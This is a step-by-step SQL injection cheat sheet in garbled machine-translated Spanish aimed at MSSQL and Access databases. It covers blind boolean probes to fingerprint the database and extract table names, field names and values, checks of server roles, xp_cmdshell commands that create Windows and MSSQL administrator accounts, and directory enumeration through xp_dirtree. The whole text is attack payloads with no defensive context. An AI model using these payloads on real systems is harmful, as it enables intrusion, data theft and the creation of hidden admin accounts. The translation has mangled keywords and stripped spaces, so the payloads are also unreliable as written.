1. Determinar si hay inyección; y 1 = 1; y1 = 2
2. Juicio preliminar sobre si es MSSQL; Anduser> 0
3. Los parámetros de inyección son caracteres 'y [condición de consulta] y' '='
4. 'Y [condición de consulta] y'%25 '=' de los parámetros filtrados durante la búsqueda
5. Sistema de bases de datos de jueces
; y (selectCount (*) fromSySObjects)> 0mssql
y (selectCount (*) frommsySobjects)> 0access
6. Adivina la base de datos; y (selectCount (*) de [nombre de la base de datos])> 0
7. Adivina el campo; y (selectCount (nombre de campo) del nombre de la base de datos)> 0
8. Adivina la longitud de registro en el campo; y (selectTop1len (nombre de campo) del nombre de la base de datos)> 0
9. (1) Adivina el valor ASCII del campo (acceso)
; y (selectTop1asc (Mid (nombre de campo, 1, 1)) del nombre de la base de datos)> 0
(2) Adivina el valor ASCII del campo (MSSQL)
; y (selectTop1Unicode (subcadena (nombre de campo, 1, 1)) desde el nombre de la base de datos)> 0
10. Estructura de permiso de prueba (MSSQL)
; y1 = (selectis_srvrolemember ('sysadmin'));--
; y1 = (selectis_srvrolemember ('serverAdmin'));--
; y1 = (selectis_srvrolemember ('setupadmin'));--
; y1 = (selectis_srvrolemember ('SecurityAdmin'));--
; y1 = (selectis_srvrolemember ('diskadmin'));--
; y1 = (selectis_srvrolemember ('bulkadmin'));--
; y1 = (selectis_member ('db_owner'));-
11. Agregue MSSQL y cuenta del sistema
; execmaster.dbo.sp_addloginusername;-
; ExecMaster.dbo.sp_passwordnull, nombre de usuario, contraseña;-
; execmaster.dbo.sp_addsrvrolemembersysAdMinUsername;--
; execmaster.dbo.xp_cmdshell'netUserUsernamePassword
/Estaciones de trabajo:*/Times: All/Passwordchg: YES/PasswordReq: Sí/Active: YES/Add ';--
; execMaster.dbo.xp_cmdshell'netUserUserNamePassword/add ';-
; execMaster.dbo.xp_cmdshell'netLocalGroupAdMinistratorSUsername/add ';-
12. (1) Transfiera el directorio
; CreateTableDirs (PathSvarchar (100), Idint)
; insertDirsexecmaster.dbo.xp_dirtree'c:/'
; y (selectTop1pathsFromDirs)> 0
; y (selectTop1pathSFromDirswherePathSnotin ('Rutas obtenidas del paso anterior'))>))
(2) atravesar el directorio
; CreateTableTemp (idnvarchar (255), num1nvarchar (255), num2nvarchar (255), num3nvarchar (255));--
; inserttempexecmaster.dbo.xp_availableMedia; -get todas las unidades actuales
; InsertInToTemp (id) Execmaster.dbo.xp_subdirs'c:/';-Obtener la lista de subdirectorio
; insertInToTemp (id, num1) execmaster.dbo.xp_dirtree'c:/';-Obtenga la estructura del árbol de directorio de todos los subdirectorios